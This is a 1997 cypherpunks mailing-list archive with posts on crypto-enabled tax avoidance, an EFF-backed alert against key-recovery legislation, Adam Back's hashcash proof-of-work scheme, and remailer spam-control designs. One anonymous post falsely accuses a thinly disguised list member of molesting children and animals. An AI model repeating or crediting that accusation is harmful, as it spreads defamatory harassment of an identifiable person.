avoidance is raised to a higher degree than in the U.S.  It sounded like
it has the approximate moral status that speeding does here, a minor
infraction which almost everyone does some if not all of the time.
In some sub-cultures no doubt the tax avoidance rate would be even higher.

In such a society Ann may not have to care that much about keeping her
secrets, as long as she doesn't have too high a profile at tax time.

> Ann has many collegues which she does business with regularly,
> including equipment suppliers, a pharmacist, a nurse practitioner,
> emergency substitutes, and various specialists.  Ann has never met any
> of these people in person, and they all show each other fake faces,
> voices, and even rythms of walking and speaking.  Ann's social life
> outside VR is entirely divorced from her work life.

Well, that last part is true for me already; I telecommute to a company
300 miles away and have no social life with my co-workers.  For that
matter my wife and I have practiced cocooning for several years,
and I haven't had a close friend from work since the early 1980's.
Being married makes this easier, of course.

The other part of this scenario, where Ann interacts with her co-workers
via fake faces, does seem disturbing.  I could imagine, though, that this
might be common in such a culture.  Maybe everyone pretties themselves
up when on the videophone.  If there is widespread understanding that
most faces are at least somewhat false, then perhaps going all the way
to a completely faked up face would seem more acceptable.  But to someone
from my generation it will be hard to accept.

> To convince patients to trust her, Ann gets bonded by a certification
> service.  To obtain this certification, Ann must be careful to not
> refer to any people who know her "true name", such as her teachers at
> the physical school she physically attended.  And Ann must somehow
> assure the certification service that she will not resell the
> certification, allowing others to pretend that they are her.

It is possible that we might see a more performance-based certification
rather than a recommendation based one.  My wife is a physical therapist,
and she had to pass a licensure exam given by the state which qualifies
her to practice.

In an earlier message to me Robin pointed out the crucial role played
by recommendations in hiring decisions.  Certainly I would be much more
likely to hire someone who listed his previous jobs and for whom I could
get good recommendations by his earlier supervisors than an applicant
who insisted that this information was confidential.

Robin also suggested that there could be a selection effect, so that the
doctors from good schools with good grades would use these advantages to
maximize their income, and so the only anonymous ones would be the ones
who didn't have these qualifications.  This could lead to a situation
where most anonymous service providers were assumed to be inferior to
regular ones, so they would get less money even if they were actually
just as good.  (I apologize to Robin if I missed the point of his
earlier discussion or am presenting it incorrectly.)

Even with such disadvantages, a doctor like Ann might accept a lower fee
at first while she builds up her reputation as an anonymous doctor with
talent and ability.  After a few years she could hope to have overcome
the stigma which (we will suppose) anonymous doctors face and display
some strong recommendations based on her successes.  In the long run
this could be a winning strategy due to the tax savings.

(I haven't given the problem of reselling certificates enough thought to
discuss it in any detail.  There have been some discussions of "is a
person" credentials which could apply, but that opens up a big can of
worms.)

> If Ann ever slips up, revealing her true name to a virtual associate,
> failing to convince a physical associate of her sham employment,
> or if anyone ever breaks through her realtime digital mixes, Ann
> is open to expensive blackmail, she may have to start over with a
> new virtual persona, and may have to go to jail for a long time.

This is an interesting problem which I haven't seen discussed before
in this form.  In Vinge's original "True Names" people were afraid of
harrassment and physical threats if their identity were discovered, but
Robin's example of the danger of being exposed as a tax evader could be
very bad as well.  If there is this much tax avoidance, we might assume
that tax rates are high, and penalties for tax evasion are high as well.
On the other hand, if tax evasion is nearly universally practiced,
perhaps there are strong cultural pressures against turning someone in.

There is also the question of how good the technology is for anonymous
communication.  At best it would appear to require a widespread infra-
structure, and if this is used largely for tax evasion it is hard to see
how it could survive.  So I think this would be a very significant issue
to be faced by the prospective 'nym.

> It seems to me that Ann is paying a high price for an ability to
> avoid taxation, and at current tax rates it is hard for me to believe
> that she wouldn't just rather pay the taxes.  What am I missing?
>
> Robin D. Hanson  hanson at hss.caltech.edu  http://hss.caltech.edu/~hanson/

It is hard to judge how high the various prices are that she pays.
The socialization aspect may not be important if she has friends outside
work.  The risks of being caught will depend on factors we don't know,
like the technology and legal system.  Rather than assuming that tax
rates are the same, it might be more plausible to assume they have gone
up in order to keep revenues stable.

Another problem which Robin didn't mention is the issue of insurance
payments.  It is hard to see how Ann's patients can get reimbursed for
their expenses if we assume that Ann is in effect a "black market" doctor.
This problem may be somewhat specific to the medical scenario, but I
suspect that many other professions are going to have trouble switching
to a cash basis.  Anyone whose customers are businesses, for example,
will face the problem that the businesses' books will need to show that
an expense is justified in order to deduct it.  This will be a major
problem for the "anonymous firm" we have discussed occasionally.

One difficulty I find with this scenario is its science fictional nature.
It is hard for me to consider details about the life of a doctor who works
via VR.  Also, if we are already in a situation where 30% of people are
avoiding taxes there will certainly have been major changes in society,
but I don't know what they will be.  This makes it hard for me to focus
on the issues specific to Ann's anonymity.  However I do like Robin's
choice of a concrete and vivid example like this.

Hal








From shabbir at vtw.org  Fri Mar 28 23:14:52 1997
From: shabbir at vtw.org (Shabbir J. Safdar)
Date: Fri, 28 Mar 1997 23:14:52 -0800 (PST)
Subject: ALERT: White House denigrating your right to secure your privacy (3/28/1997)
Message-ID: <199703290715.CAA21838@panix3.panix.com>


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |         THE CRYPTO BATTLE HAS BEGUN!
| |_| | |   |  _| | |_) || | | |  CLINTON ADMINISTRATION PROPOSES CONTROL OF
|  _  | |___| |___|  _ < | | |_|     ENCRYPTION FOR AMERICANS ON U.S. SOIL
|_| |_|_____|_____|_| \_\|_| (_)               March 28, 1997

                 Do not forward this alert after May 1, 1997.

                         This alert brought to you by:
                     Center for Democracy and Technology
                                  Eagle Forum
                       Electronic Frontier Foundation
                       Voters Telecommunications Watch
                                 Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do Now
      Background
      What's At Stake
      Supporting Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

On March 26, 1997, the Clinton Administration proposed draft legislation
which would, for the first time, impose DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

In its current form, the draft bill seeks to impose a risky
"key-recovery" regime which would compel American citizens to ensure
government access to their private communications. Law enforcement and
national security agents would not even need a court order to access
private decryption keys.

Congress is currently considering three separate bills which would
prohibit the government from imposing "key-recovery" domestically, and
encourage the development of easy-to-use, privacy and security tools
for the Net.

As more and more Americans come online, the Administration's plan is a
giant step backwards and would open a huge window of vulnerability to
the private communications of Internet users.  Americans expect more
when conducting private conversations with their doctors, families,
business partners, or lawyers.

Please read the Alert below to find out what you can do to protect your
privacy online.

________________________________________________________________________________
WHAT YOU CAN DO

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.  The time to blast Congress or the White House
   with phone calls and emails will come, but now is not the appropriate
   moment.

   Instead, please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Beginning Monday March 31, call the White House

   Internet public interest advocates continue to work the Hill in support
   of the three true encryption reform bills in Congress, Pro-CODE, SAFE, &
   ECPA II.  If you still feel a need to voice your opinion, however, you can
   call the White House to express your opinion.

   Step 1 - Beginning Monday March 31, call the White House

        Call 202-456-1111 9am-5pm EST.  Ignore the voice mail survey and
        press '0' to get a comment line operator.
            
   Step 2 - Tell them what you think about intrusions into your privacy!

	Operator: Hello, White House comment line!

SAY     YOU: I'm calling to oppose president's Internet encryption bill.
THIS ->      It infringes on the privacy of Americans. We need a solution
             to the encryption issue that protects privacy, and this is not
             it.

        Operator: Thank you, I'll pass that along to the President.

3. Spread the Word!

  Forward this Alert to your friends. Help educate the public about the
  importance of this issue.

  Please do not forward after May 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US. 

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________
SUPPORTING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Center for Democracy and Technology                      http://www.cdt.org
    Press contact: Jonah Seiger, +1.202.637.9800
Eagle Forum                                       http://www.eagleforum.org
    Press contact: Phyllis Schlafly, +1.314.721.1213
Electronic Frontier Foundation                           http://www.eff.org
    Press contact: Stanton McCandlish, +1.415.436.9333
Voters Telecommunications Watch                          http://www.vtw.org
    Press contact: Shabbir J. Safdar, +1.718.596.7234
Wired Magazine                                         http://www.wired.com
    Press contact: Todd Lappin, +1.415.276.5224

______________________________________________________________________________
end alert
==============================================================================





From vince at offshore.com.ai  Sat Mar 29 04:38:56 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Sat, 29 Mar 1997 04:38:56 -0800 (PST)
Subject: Hard to Tax Scenario
Message-ID: <Pine.LNX.3.95.970329084225.8668A-100000@online.offshore.com.ai>



> Robin Hanson, <hanson at hss.caltech.edu>, writes:
> 
> >   How well thought out is the notion that widespread crypto could
> >   allow a large fraction (>30%?) of the economy to avoid taxation?
> [...]
> > Imagine Ann is a doctor who wants to ply her trade without taxation.

The good doctor Ann is not in the easy 30%, unless she is selling a
medical book she wrote over the Internet, or something like that.
There will be people who are much easier to tax than others, and I 
think Ann is one of those.

Today painters, plumbers, etc often give big discounts for cash payments.
The reason is they do not want to report their earnings.

Today many many people on welfare do odd jobs and take their checks to
places with signs like "Checks cashed - no ID required - 6%".  They
probably actually show ID, but the merchant cashing the check does not
write down a social security number.  The guy on welfare does not have
this earning tied to his social security number.  This is a very good
thing for him, because if the government knew he earned $100 they would
take $95 off his welfare check.  So it is much like he is avoiding his 95%
tax bracket.  And it is amazing to me how many people think, "those evil
businesses, taking advantage of those poor people who are too stupid to
open a bank account and so pay 6% to cash checks".  This is rational self
interest at work here, not stupidity.

If you add the painters, welfare people, drug dealers, etc.  We could well
be close to 30% of the economy long before all the cypherpunks form
corporations in Anguilla. 

  - Vince Cate








From aba at dcs.ex.ac.uk  Sat Mar 29 08:56:45 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 29 Mar 1997 08:56:45 -0800 (PST)
Subject: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <9703281824.ZM5275@razor.engr.sgi.com>
Message-ID: <199703291432.OAA00597@server.test.net>



Anil Das <das at razor.engr.sgi.com> writes:
> 	How does Dr. Bernstein's announcement of finding
> a 56 bit collision in md5 using a few hours on a Pentium
> affect this scheme? It was not clear from his post whether
> he was looking for a collision with a known hash, or just
> two different strings with a collision of the given length.

It is interesting that you should reference Dan Berstein's sci.crypt
post of a couple of days ago, as his post is what started me thinking
about using partial hash collisions as an anti-spam postage system
which preserves anonymity.  Also Rivest and Shamir have a system which
I was aware of called "MicroMint" which makes more complex use of
k-way hash collisions as the basis for a complete micro-payment
system.  Hal Finney described their system in outline a few days ago
on cypherpunks, and pointed out the similarity.

For remailers and spam control, the requirement is for a function
which is expensive to compute, but easy to verify.  The partial hash
collision satisfies this and can be arbitrarily expensive (1/100
second to 100s of MIPs years), and yet can be verified instantly.  The
hashcash proposal uses this function as the basis of a decentralised
approach to reduce abuse of non-metered internet resources.  

There are no banks, brokers or any other legally targetable entities
which will get shutdown, or coerced into adding identity escrow if
used for postage in anonymous communication.  As a result of this, the
recipient (an anonymous remailer, or private user) of the cash gains
no value which can be converted into other currencies, but rather the
assurance that the sender has spent more computing resources preparing
the message than he will in processing the mail request.

I'm fairly sure that Dan Bernstein was talking about a birthday
attack, as he was referring to the fact that he had used some
technique to keep the storage requirement down, and suggested that
those who claimed birthday attacks required high storage where wrong.

I think he was found an arbitrary 2-way collision.

Arbitrary in the sense that you don't care where the bits that collide
are in the hash outputs.

And 2-way in the sense that you are trying to find a hash collision of
any message texts (you don't care what), ie in:

	X = H( M )
	Y = H( N )

you are trying to find an M and N such that the bits of X and Y are
the same in n bit locations for an n-bit collision.

If you accept arbitrary collisions it makes the job easier (few of the
arbitrary collisions you find will have thier bits in your chosen
location if you specify restrictions on acceptable locations for the
colliding bits).

Hashcash does not accept arbitrary collisions, the only collisions
considered accepted by the client must be in the n MSbits.

Hashcash is trying to find a collision to a specific string, so it
does not involve the storage complexities of finding birthday attacks,
or the methods of finding them with lower storage requirments traded
for higher overhead.

Specifically, the hashcash client it is trying to find an n-MSbit
collision on the hash of M:

	M = day | resource-name
	X = H( M ) = H( day | resource-name )

The client looks for collisions on texts of the form:

	M' = M | counter = day | resource-name | counter
	X' = H( M' ) = H( day | resource-name | counter )

So, it's algorithm in finding hash collisions is incredibly simple:

	1. calculate X = H( day | resource-name )
	2. counter = random-start-point
	3. calculate X' = H( day | resource-name | counter )
	4. if the first n-bits of X and X' are equal STOP
	5. counter = counter + 1 
	6. goto 3.

The hash collision postage is M' = day | resource-name | counter.

And there is no easier way to find collisions if the hash function H
is one way and collision resistant, as the output bits can for these
purposes be treated as individual random variables having value 0 or 1
with 50% probability.  It is basically like tossing n coins in a row
seeing if the coins are all equal to your chosen set of outputs (head
= 0, tail = 1).

Funcion H in the hashcash implementation is SHA1.  The actual hash
used in effect is the short hash formed by discarding the remaining
160 - n bits of the 160 bit SHA1 output.


The hashcash client includes the "day" which is the days since 1 Jan
1970 to allow validity periods to be determined by acceptors of ecash,
or expiry dates for services charged for in hashcash.

The main purpose of the day field being hashed in is to allow the
hashcash acceptor to limit the size of his double spending database.

The purpose of the "resource-name" is to ensure that cash can not be
double spent by spending at different remailers, or different email
recipients.  The resource has a name (the email address, short
remailer name, whatever), and anyone who chooses a non-unique name
opens themselves up to double spending.  So the cash is recipient
specific.


You could if you wished use the hashcash client to implement a
centralised double spending database, and provide online verification
so that service providers can check for double spending.

This gives the advantage that the user can create some collisions
without having to decide on who to spend them on in advance.

For email I don't think it's worth it because the main intention is to
force the spammer to bear higher computer resource overheads than the
innocent by-standers (remailers, and recipients of unsolicited mass
mailings).

> > (Also I have not tested my SHA1 implementation on a big endian machine, it
> > auto-detects byte endian-ness, theoretically).
> 
> % ./sha1test
> test 1

Good, my bigendian check works.

> SHA1("abc") =
>         a9993e364706816aba3e25717850c26c9cd0d89d test ok
>
> % ./hashcash -t -22
> speed: 70921 hashes per sec
> find: 22 bit partial sha1 collision
> estimate: 30 seconds

Envious of your compute power -- about 10x my 120Mhz 486 linux based
system :-)

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From nobody at REPLAY.COM  Sat Mar 29 11:19:02 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 11:19:02 -0800 (PST)
Subject: Hard to Tax Scenario  (fwd)
Message-ID: <199703291918.UAA08038@basement.replay.com>


For my views on taxes see
http://www.law.miami.edu/~froomkin/articles/arbitr.htm      


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From dlv at bwalk.dm.com  Sat Mar 29 13:42:20 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:42:20 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703290514.XAA00820@smoke.suba.com>
Message-ID: <goFc5D3w165w@bwalk.dm.com>


> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> 	How 'bout this:
>
> 	There is (as we all know) a newsgroup for anonymous messages, Simply
> encrypt the message with one half of a public key pair, and send the other
> to the individual with a message saying that there is a message waiting
> for you on alt.anonymous.messages with a subject of ^CHojnafy&Ys9. This is
> the key to decrypt the first level. If you do not have access to usenet,
> you can get the message from www.dejanews.com &etc.

I don't like this for only one reason: you'll be wasting disk
space at thousands of usenet sites. I happen to think that alt.anonymous.
messages is a really wasteful communications channel. If it were used for
all the traffic now caried by the remailers, many syadmins would stop
carrying it (a lot of useless traffic). I would have if I had carried it. :-)

Also it's not fair to assume that everyone with access to e-mail can
also get web or usenet. One example that's still fairly common in a
user on a corporate computer behind a firewall.

> 	The encryption by the endpoint remailer is not intended to
> supply complete privacy, but rather to provide an additional level of
> protection for those who don't encrypt to begin with.

If the key is generated by the remailer, then a LEA might go on a fishing
expedition trying to figure how the key was generated and whether they can
generate the same key again. It's safer not to generate random keys.

> 	This has the benefit of (1) not dumping the email into a persons
> mail box, so they don't get "spam" they don't want. (2) getting possibly
> illegal material off the remailer machine as quickly as possible (well,
> off the remailer portion anyway, if the news spool is on the same machine,
> that is a different legal battle) and (3) disassocating the sender and
> receiver a little more.

These are all good things; I just wish they could be accomplished in a less
wasteful manner.  To replicate a file at thousands of usenet servers which
can only be decrypted by one person is, in my opinion, selfish net-abuse.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 29 13:44:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:44:00 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <859624737.1120319.0@fatmans.demon.co.uk>
Message-ID: <THFc5D2w165w@bwalk.dm.com>


paul at fatmans.demon.co.uk writes:

> > > Well, they can compile the list of addresses off of USENET postings and
> > > such and then compute the hashes of the compiled names and identify
> > > those that are on the anon acceptance list. Not that it completely
> > > invalidates the idea, but certainly it is a problem.
>
> If a time delay isn`t a problem a remailer could operate on the list
> with a MAC, if someone wants to find out if a name is on the list
> they submit a request to the remailer operator who daily executes a
> batch job using a (memorised) key to verify the hashes against one
> another.
>
> Of course this gives no protection against the scenario of a law
> enforecement agency or shady TLA comprised of men in long black
> trenchcoats demanding the operator reveal the key to the MAC. I
> suppose there is always "I have forgotten the key, officer"..... ;-)

Yes. The remailer should contain as little "interesting" information
as possible at any given time, even if it's encrypted.

> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> A possible solution to this is to set a time limit, say 24 hours on
> how long a proposed recipient may take to respond to a request for
> permission to send the mail. The remailer then sends the mail
> simultaneously to all those who agreed, those who declined to accept
> the mail or failed to repond are removed from the recipient list.

*If* the remailer keeps the e-mail until the recipient agrees to the
disclaimer and fetches it, then the timeout period should be longer
than 24 hours.  Not everyone checks their e-mail every 24 hours.
E.g., sometimes I'm away and don't check it for 3 or 4 days.
A friend of mine checks hers once or twice a week because she
doesn't get much.

Of course I'm advocating something more draconian - discard the
e-mail at once if the recipent isn't known and e-mail them how
they can get their mail next time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 29 16:10:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:26 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>
Message-ID: <g5Fc5D4w165w@bwalk.dm.com>


Sergey Goldgaber <sergey at el.net> writes:
> -> Right now, there's a very large number of addresses in the key servers.
> -> Instantly making them into a list of addresses that accept anon mail
> -> will make it hard (hopefully infeasible) for the LEAs to investigate
> -> everyone willing to accept anon e-mail as a suspect in sending it.
>
> Unfortunately, key servers can not be trusted.  I'm sure you're aware that
> anyone can submit a key, and thus forgeries abound.
>
> If the above model is adopted, key servers will be the first target of
> the prospective spammer.

Why Sergey, you mean to tell me that there are key servers out there that
accept a key from a purported address and don't send back a cookie to that
address to see if it's not fake? :-) That's just terrible. Definitely no
key coming from such a server should be trusted. :-) :-)

Today is March 29, 1997 - almost April 1st. The Internet ain't what is
used to was 15 or 10 or even 2 years ago. If you get an e-mail that
purports to be from X, and it requests that you add X's public key
to your key server, or (un)subscribe X to a mailing list, or
block X from receiving anonymous e-mail - it may be a forgery.
Never act on such requests without trying to authenticate them
with a cookie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 29 16:10:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:29 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703291126.LAA00386@server.test.net>
Message-ID: <88Lc5D5w165w@bwalk.dm.com>


Adam Back <aba at dcs.ex.ac.uk> writes:
> Dimitri Vulis <dlv at bwalk.dm.com> writes:
> > Adam Back <aba at dcs.ex.ac.uk> writes:
> > > [encrypt the message and send the recipient the key, discard the
> > > key, when they request the message they supply the key]
> >
> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> "Disk is cheap."  I just bought a 3.8Gb quantum for $300.  That's 4
> times cheaper Gb/$ ratio than last disk I bought a year ago.

I paid over $700 for a 2GB disk about 18 mos ago. Yes, disk prices
are falling through floor - giving the lie to the scum that tries to
control Usenet "spam" - but is it really worth it to have to maintain
a huge spool space to support a remailer? If you really think you can
afford a few GB of extra disk storage, start up a Usenet site of virtue.

> 1Gb encrypted message pool?  No problem.
>
> Don't have the resources for the 1Gb disk?  Your ISP will be charging
> you many times that for your leased line.
>
> If it's an issue charge postage to cover your storage and transmission
> costs.
>
> However, I suppose if you're using an ISP shell account, and have no
> leased line, you may have more space restrictions.

It should be possible to run a remailer on an average $19.95/mo shell
account.  Most of them come with a disk quota of a couple of megabytes.
I do think that keeping a lot of mail in the queue (more than is kept
by the remailers that use latency now) would make such accounts
unsuitable for remailers.

> A better idea, (for both ISP shell account and leased line version)
> would to send the recipient the encrypted data, you keep the key :-)
>
> (View it as a secret split where the parts happen to be different
> size, you keep the small one).
>
> They send you the data and you decrypt, send it back and discard the
> key.  You could store 16 million keys on your 1Gb remailer spool
> partition.  That 16 million keys would represent 16 Gb of delivered
> encrypted email.
>
> You could still cope with a fair number of messages in 1Mb remailer
> key spool in your home file space on an ISP based shell account.
>
> I think this solves remailer resource objections.

yes, this sort of solves the storage problem.

Thinking how this might work...

Alice's remailer gets an e-mail for Bob.

Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
K to encrypt the message with a symmetric cryptoscheme.

Alice's remailer sends the encrypted message and L to Bob with the following
note: if you want to receive the key to decrypt this message, send back L and
acknowledge the disclaimer.

Alice's remailer retains the triple (K,L,Bob). Because it's small, it can
be kept for a long time.

If Bob sends back L, the remailer sends Bob K so he can read his message.

I see a few problems with this. I'm sure it can be improved.

1. What if Bob is another remailer, unknown to Alice?

2. What if Bob doesn't have the program to decode his message? (It's
fair to assume that everyone can fine PGP. It's not fair to assume that
everyone can find e.g. triple DES.)

3. What if the LEA's decide that the collection of triples on Alice's
computer is worth looking at, for instance, for the list of addresses.
(OK, they could be encrypted probably.)

4. What if the LEA's decide to find out how K, L are generated?

> You still have the problem of saturation of your network bandwidth.
> You can probably encrypt (it's symmetric key, say IDEA) fast enough
> for encryption overhead to be less of a problem than the saturation of
> the bandwidth of your leased line.

I think IDEA or triple DES would be fast enough for this.

> Your other problem is user acceptance -- your average user may still
> object to receiving Mb's of junk which while the contents don't offend
> him (he can't read it), the sheer volume may annoy him.

Given how some people react very negatively to what they consider
"unsolicited e-mail", I think it might be a bad idea to send them
large encrypted messages w/o confirming that they want them. But
it's also a bad idea to keep an unknown's e-mail on the remailer.
The only way out, IMO, is to *discard* an unknown's e-mail and to
tell him what positive action he can take so future e-mails don't
get discarded.

And by the way: a remailer should probably keep a list of people
who have been told about the need for a positive action, so they
won't get duplicate notices more than every week or so. If X
sends Y 10 e-mails and the remailer sends Y 10 identical notifications
with the instructions how to enable receipt, Y might get justifiable
upset.

When Alice's remailer gets an e-mail for Bob, it should do
something like:


          try to fetch Bob's public key
          from a well-run key server
            /                    \
         success               failure
           |                      |
      encrypt the e-mail      discard the
      with bob's key and      e-mail!
      pass it to Bob              |
                              was the form
                              letter sent to
                              Bob in the last
                              7 days?    \
                             /            no
                           yes              \
                          /                exit
                    send bob the
                    form letter


Wow, isn't that a perry flow chart. :-)

...
> > Suppose a LEA wants to search the computer hosting the remailer.
> > They come across a bunch of encrypted files.
> > The operator has to convince the LEA that they don't have the means
> > to decrypt the e-mails or even to figure out who they're from.
>
> Well you can't can you?

It may be hard to prove a negative to a LEO who doesn't know what
the hell you're talking about. You have a file in your spool that
was encrypted with a key that your program generated, but now you
no longer have the key? Well, tell us how the key was generated.

...
> I agree with what you're saying that technological aptitude can
> provide some metric of cluefullness.  And that cluefullness usually
> correlates with good net citizenly behaviour (eg understanding what a
> remailer is, and not legally threatening, or setting the Feds on to
> the human owner of a bot.
>
> However there exist quite a few counter examples: cluefull people who
> do not use PGP, or consider it to be too much hassle (quite a lot of
> them hang out on cypherpunks, and will actually object if you send
> them encrypted email, even though spending most of their time on
> cpunks arguing about the usefulness and essentiality of these tools
> for privacy).

Well - if generating and publishing a PGP key were a requirement
to be able to receive anonymous e-mail, I'm sure they'd do it.
Some people (like Dale) legitimately question certain uses of PGP, but
I think in this case it's worth encouraging its use.

> Also some journalists are pretty clueful (or useful to be able to send
> information too, shall we say, journalists as a group having a bad
> rep), and not many can handle PGP.

Hmm - I'm sure John Markoff and even Declan can handle PGP.
If, for example, Jon Schwartz can't handle PGP (and I don't know
whether he can :-), then he doesn't deserve any anonymous tips.
Free market in action.

Later - thanks a lot for the extensive comments.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From nobody at REPLAY.COM  Sat Mar 29 16:38:57 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 16:38:57 -0800 (PST)
Subject: [ANNOUNCEMENT] Cyclic codes
Message-ID: <199703300035.BAA18087@basement.replay.com>


Timmy `C' Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

   o-:^>___? Timmy `C' Mayonnaise
   `~~c--^c'






From real at freenet.edmonton.ab.ca  Sat Mar 29 18:04:28 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 29 Mar 1997 18:04:28 -0800 (PST)
Subject: [ANNOUNCEMENT] Cyclic codes
In-Reply-To: <199703300035.BAA18087@basement.replay.com>
Message-ID: <Pine.A41.3.95.970329185941.98012A-100000@fn2.freenet.edmonton.ab.ca>


On Sun, 30 Mar 1997, Anonymous wrote:
Vulis give it a rest get a boy friend.

> Timmy `C' Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>    o-:^>___? Timmy `C' Mayonnaise
>    `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From shamrock at netcom.com  Sat Mar 29 19:58:07 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 29 Mar 1997 19:58:07 -0800 (PST)
